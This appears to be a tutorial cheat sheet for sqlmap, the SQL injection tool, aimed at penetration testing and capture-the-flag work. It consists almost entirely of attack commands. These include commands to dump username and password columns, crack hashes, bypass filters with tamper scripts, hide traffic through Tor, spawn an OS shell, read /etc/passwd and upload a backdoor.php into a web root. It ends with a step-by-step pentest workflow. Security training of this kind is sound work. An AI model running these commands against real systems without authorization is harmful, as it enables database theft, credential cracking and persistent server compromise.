1. INTRODUCTION
sqlmap is an automated SQL injection detection and exploitation tool.
It can:
Detect SQL injection
Enumerate databases, tables, users
Dump credentials
Read/write files
Gain OS command execution
Supports MySQL, MSSQL, PostgreSQL, Oracle, SQLite, MariaDB, Firebird, and more.
2. BASIC DETECTION
Test a GET parameter:
sqlmap -u "http://target.com/product?id=1"
Verbose output:
sqlmap -u "http://target.com/item?id=1" -v 3
3. SPECIFYING PARAMETERS
GET request:
sqlmap -u "http://site.com/p?id=1"
POST request:
sqlmap -u "http://site.com/login" --data="user=admin&pass=123"
Cookie injection:
sqlmap -u "http://site.com/" --cookie="PHPSESSID=abc123"
4. LEVEL AND RISK
Higher levels = more aggressive tests.
Risk: 1–3
Level: 1–5
Example:
sqlmap -u URL --risk=3 --level=5
5. ENUMERATING DATABASES
List DBMS databases:
sqlmap -u URL --dbs
List tables:
sqlmap -u URL -D dbname --tables
List columns:
sqlmap -u URL -D dbname -T table --columns
6. DUMPING DATA
Dump entire table:
sqlmap -u URL -D db -T table --dump
Dump specific columns:
sqlmap -u URL -D db -T table -C username,password --dump
7. BYPASSING PROTECTIONS
Change User-Agent:
sqlmap -u URL --user-agent="Mozilla/5.0"
Use tamper scripts:
sqlmap -u URL --tamper=space2comment
Multiple tampers:
sqlmap -u URL --tamper=space2comment,between
8. USING TOR
Route all traffic through Tor:
sqlmap -u URL --tor --tor-type=socks5 --check-tor
9. OS SHELL & FILE OPERATIONS
Interactive OS shell:
sqlmap -u URL --os-shell
Upload file:
sqlmap -u URL --file-write=backdoor.php --file-dest=/var/www/html/backdoor.php
Read file:
sqlmap -u URL --file-read=/etc/passwd
10. ENUMERATING USERS & PRIVILEGES
Enumerate users:
sqlmap -u URL --users
Enumerate passwords:
sqlmap -u URL --passwords
Enumerate privileges:
sqlmap -u URL --privileges
11. BRUTE-FORCING PASSWORDS
Crack hashes:
sqlmap -u URL --passwords --batch
Common table-based cracking:
sqlmap -u URL --passwords --common-tables
12. CRAWLING & AUTOMATION
Automatically crawl website for URLs:
sqlmap -u "http://target.com" --crawl=3
13. USING PROXY
Send traffic through Burp Suite:
sqlmap -u URL --proxy=http://127.0.0.1:8080
14. REAL PENTEST WORKFLOW
1. Detect SQL injection:
sqlmap -u URL
2. Get DB/user info:
sqlmap -u URL --current-db --current-user --dbs
3. Enumerate tables:
sqlmap -u URL -D targetdb --tables
4. Dump credentials:
sqlmap -u URL -D targetdb -T users -C user,hash --dump
5. Crack hashes:
Use hashcat or john
6. Try OS shell:
sqlmap -u URL --os-shell
15. CTF TIPS
Use --batch to skip prompts.
Always try tamper scripts.
Use --dump-all when needed.
Scan multiple parameters:
sqlmap -u URL --forms
← Back to tutorial